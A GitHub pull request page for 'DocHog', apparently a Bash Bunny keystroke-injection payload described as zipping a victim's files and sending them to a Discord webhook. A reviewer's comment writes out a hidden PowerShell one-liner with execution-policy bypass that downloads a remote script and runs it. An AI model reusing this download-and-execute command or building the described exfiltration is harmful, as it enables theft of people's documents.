Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New Payload - DocHog #647

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

New Payload - DocHog #647

wants to merge 1 commit into from

Conversation

atomiczsec
Copy link
Contributor

No description provided.

REM Author: atomiczsec
REM Description: This payload will enumerate through the files. Then create ZIPs with them, then send to a discord webhook.

DEFINE URL http://new-url.com/powershell.ps1
Copy link
Member

@hak5peaks hak5peaks Jun 7, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

the bash bunny does not support DEFINE you could use a bash variable instead.

Also add escapes around any PowerShell code that shares similar syntax to Bash otherwise the bash bunny will see them as bash arguments.

for example:

URL="example.com"
QUACK STRING powershell -w h -NoP -NonI -ep Bypass '$pl = iwr '"$URL"' dl=1; iex $pl'

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants